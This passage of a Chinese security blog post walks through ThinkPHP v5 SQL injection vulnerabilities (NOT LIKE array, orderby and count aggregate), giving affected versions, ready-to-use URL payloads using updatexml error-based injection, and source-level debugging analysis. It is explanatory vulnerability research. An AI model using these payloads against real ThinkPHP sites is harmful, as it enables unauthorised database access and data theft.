    $exp = strtolower($exp);
    if (isset($this->exp[$exp])) {
        $exp = $this->exp[$exp];
    } else {
        throw new Exception('where express error:' . $exp);
    }
}

然后下面会进入这个判断,$value 的值就变为了 :where_username

if (is_scalar($value) && array_key_exists($field, $binds) && !in_array($exp, ['EXP', 'NOT NULL', 'NULL', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN']) && strpos($exp, 'TIME') === false) {
    if (strpos($value, ':') !== 0 || !$this->query->isBind(substr($value, 1))) {
        if ($this->query->isBind($bindName)) {
            $bindName .= '_' . str_replace('.', '_', uniqid('', true));
        }
        $this->query->bind($bindName, $value, $bindType);
        $value = ':' . $bindName;
    }
}

下面就是操作符的不同而进入不同的分支了,这里的操作符是 = ,所以会进入下面这个判断中的else,最后$whereStr 的值就为 `username` = :where_username

if (in_array($exp, ['=', '<>', '>', '>=', '<', '<='])) {
    // 比较运算
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
    }
}

往下SQL语句就成了 "SELECT * FROM `user` WHERE `username` = :where_username ",到这已经不用往下看了,接下来就是预处理然后执行SQL语句了,无法进行注入。

那我们再来看看传入数组的情况,还是来到 parseWhereItem()。这里的 username[0]=not like 不管是大写还是小写都可以,都会被转化为大写。然后在根据操作符不同判断分支时会进入第二个分支。

elseif ('LIKE' == $exp || 'NOT LIKE' == $exp) {
    // 模糊匹配
    if (is_array($value)) {
        foreach ($value as $item) {
            $array[] = $key . ' ' . $exp . ' ' . $this->parseValue($item, $field);
        }
        $logic = isset($val[2]) ? $val[2] : 'AND';
        $whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
    } else {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
    }
}

这里会对 username[1] 也就是 $value 进行一个类型的判断数组的话进入if,并对其进行一个拼接,$logic 被赋值为 $username[2] 的值,$whereStr 会等于(`username` NOT LIKE '%' ) UNION SELECT 1,114514,DATABASE()# `username` NOT LIKE 'So4ms'),返回之后直接拼接到了SQL语句中,就造成了注入。

而我们传入的参数的位置也就是这样的:(`username` NOT LIKE '$username[1][0]' $username[2] `username` NOT LIKE '$username[1][1]')

这里本来使用 LIKE 也是同样的流程,但是使用 request()->get() 来获取参数的话会有下面这样一个过滤, LIKE 会过滤为 LIKE ,多了一个空格,就不满足上面的条件了,所以使用 NOT LIKE

public function filterExp(&$value)
{
    // 过滤查询特殊字符
    if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
    // TODO 其他安全过滤
}

在小于5.0.10的版本中,只能使用大写的 NOT LIKE 而不能用小写,因为在 parseWhereItem() 中,有一个操作符的判断,如果不在给定的数组的值中,就会对键进行匹配,而在小于5.0.10的版本中,NOT LIKE 的 键为 notlike,即 notlike:"NOT LIKE",所以 not like 不能成功执行,同时 NOTLIKErequest()->get() 中也被过滤了,所以只能使用 NOT LIKE,所以网上挺多这个漏洞只存在于5.0.10的说法是不对的。

// 检测操作符
if (!in_array($exp, $this->exp)) {
    $exp = strtolower($exp);
    if (isset($this->exp[$exp])) {
        $exp = $this->exp[$exp];
    } else {
        throw new Exception('where express error:' . $exp);
    }
}

 

0x06 ThinkPHP v5 orderby 注入

0x00 影响范围

ThinkPHP 5.1.16-5.1.22

0x01 演示版本

ThinkPHP v5.1.22
PHP: php 7.3.4
环境:Windows10

0x02 payload

?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

0x03 触发条件

添加一个路由进行查询。

public function sql()
{
    $orderby = request()->get('orderby');
    $result = db('user')->where(['username' => 'admin'])->order($orderby)->find();
    print_r($result);
}

使用报错注入需开启debug。

0x04 调试分析

order() 方法处打下断点,看看正常情况下传入 orderby=1 的情况。

public function order($field, $order = null)
{
    if (empty($field)) {
        return $this;
    } elseif ($field instanceof Expression) {
        $this->options['order'][] = $field;
        return $this;
    }

    if (is_string($field)) {
        if (!empty($this->options['via'])) {
            $field = $this->options['via'] . '.' . $field;
        }

        if (strpos($field, ',')) {
            $field = array_map('trim', explode(',', $field));
        } else {
            $field = empty($order) ? $field : [$field => $order];
        }
    } elseif (!empty($this->options['via'])) {
        foreach ($field as $key => $val) {
            if (is_numeric($key)) {
                $field[$key] = $this->options['via'] . '.' . $val;
            } else {
                $field[$this->options['via'] . '.' . $key] = $val;
                unset($field[$key]);
            }
        }
    }

    if (!isset($this->options['order'])) {
        $this->options['order'] = [];
    }

    if (is_array($field)) {
        $this->options['order'] = array_merge($this->options['order'], $field);
    } else {
        $this->options['order'][] = $field;
    }

    return $this;
}

在第二个判断 if (is_string($field)) 处显然是符合条件的,进入if,$this->options['via'] 初始情况也是空的,来看下一个判断。

这里如果传入的参数带有逗号,就会以逗号为分隔符进行分割然后去掉首尾字符,否则由于这里 $order 默认为null,$field 等于自身。

if (strpos($field, ',')) {
    $field = array_map('trim', explode(',', $field));
} else {
    $field = empty($order) ? $field : [$field => $order];
}

来到下面会判断是否为数组来进行不同的赋值。

if (is_array($field)) {
    $this->options['order'] = array_merge($this->options['order'], $field);
} else {
    $this->options['order'][] = $field;
}

order() 结束了,跟进 find(),跟着调试一路跟进,在 parseOrder() 中,对输入的参数调用了 parseKey() ,如果是数字,那就返回数字本身,如果不是数字,那就接着往下,存在这样一个判断,满足条件会在两边加上反引号,这样的话如果我们直接进行注入,语句会被切割开分别加上反引号,显然我们是不能进行注入了。

if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
    $key = '`' . $key . '`';
}

如果我们传入一个数组,在 order() 中,直接对 options['order'] 赋值。

if (is_array($field)) {
    $this->options['order'] = array_merge($this->options['order'], $field);
} else {
    $this->options['order'][] = $field;
}

然后在 parseOrder() 中,由于传入的键值不是之前切割字符串时的数字,所以会进入else,key 值就是键值,然后在线进入 parseKey()

if (is_numeric($key)) {
    list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
    $sort = $val;
}

这里虽然也会被加上反引号,但是整个注入语句都在一对反引号,我们是可以将其闭合的,前一个反引号配上一个列名进行闭合,后一个反引号我们可以直接将其注释,就有:`id`|updatexml(1,concat(0x7,user(),0x7e),1)#` ,而且这里 ' ORDER BY ' . implode(',', $array); 是直接将其拼接到字符串中没有进行额外过滤的,就造成了注入。

 

0x07 ThinkPHP v5 聚合查询注入

0x00 影响范围

ThinkPHP 5.0.0-5.0.21
ThinkPHP 5.1.3-5.1.25

0x01 演示版本

ThinkPHP v5.1.22
PHP: php 7.3.4
环境:Windows10

0x02 payload

?count=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

0x03 触发条件

添加一个路由进行查询。

public function sql()
{
    $count = input('get.count');
    $result = db('user')->count($count);
    print_r($result);
}

使用报错注入需开启debug。

0x04 调试分析

调用顺序 :count() => $this->aggregate() => $this->connection->aggregate()

此时看一下该方法的代码,$aggregate 是聚合方法,值为 COUNT,而 $field 是我们的输入,显然是要经过 $this->builder->parseKey() 进行处理,跟进看一下。

public function aggregate(Query $query, $aggregate, $field)
{
    $field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);

    return $this->value($query, $field, 0);
}

$this->builder->parseKey() 我们在上一个漏洞分析过了,在调用 parseKey() 时传入的参数 $strict 为true,所以我们的输入会被反引号包裹起来,然后返回结果,由于是整个字符串,且没有过滤,所以存在闭合的可能,返回的结果就为 COUNT(`id`)+updatexml(1,concat(0x7,user(),0x7e),1) from user#`) AS tp_count

if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
    $key = '`' . $key . '`';
}

然后调用了 $this->value() ,接着就是熟悉的调用 $this->builder->select() 生成查询SQL,由于我们的关注内容通过 $query->setOption('field', $field); 保存在 $options['field'] ,所以我们跟进 $this->parseField(),这里又有 $this->parseKey 对切割开为数组的内容进行处理。

protected function parseField(Query $query, $fields)
{
    if ('*' == $fields || empty($fields)) {
        $fieldsStr = '*';
    } elseif (is_array($fields)) {
        // 支持 'field1'=>'field2' 这样的字段别名定义
        $array = [];

        foreach ($fields as $key => $field) {
            if (!is_numeric($key)) {
                $array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
            } else {
                $array[] = $this->parseKey($query, $field);
            }
        }

        $fieldsStr = implode(',', $array);
    }

    return $fieldsStr;
}

还是这个判断,但是这里 $strict 为false,且数组每一个值都包含括号,所以不会加上反引号,也就是不会发生变化。

if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
    $key = '`' . $key . '`';
}

随后 $fieldsStr = implode(',', $array); 拼接起来,最后拼接到SQL语句中,为 SELECT COUNT(`id`)+updatexml(1,concat(0x7,user(),0x7e),1) from user#`) AS tp_count FROM `user` LIMIT 1,注入成功。

 

0x08 参考资料

Thinkphp v5.1.41反序列化漏洞分析及EXP
ThinkPHP5代码审计【未开启强制路由导致RCE】
ThinkPHP 5.0命令执行漏洞分析及复现
Thinkphp5.0.15 SQL注入
ThinkPHP5.x注入漏洞学习
Thinkphp 5.1.17 SQL注入
Thinkphp 5.0.10 SQL注入

本文由So4ms原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/252811

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
So4ms
分享到:微信

发表评论

So4ms

这个人太懒了,签名都懒得写一个

  • 文章
  • 3
  • 粉丝
  • 5

TA的文章

热门推荐

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66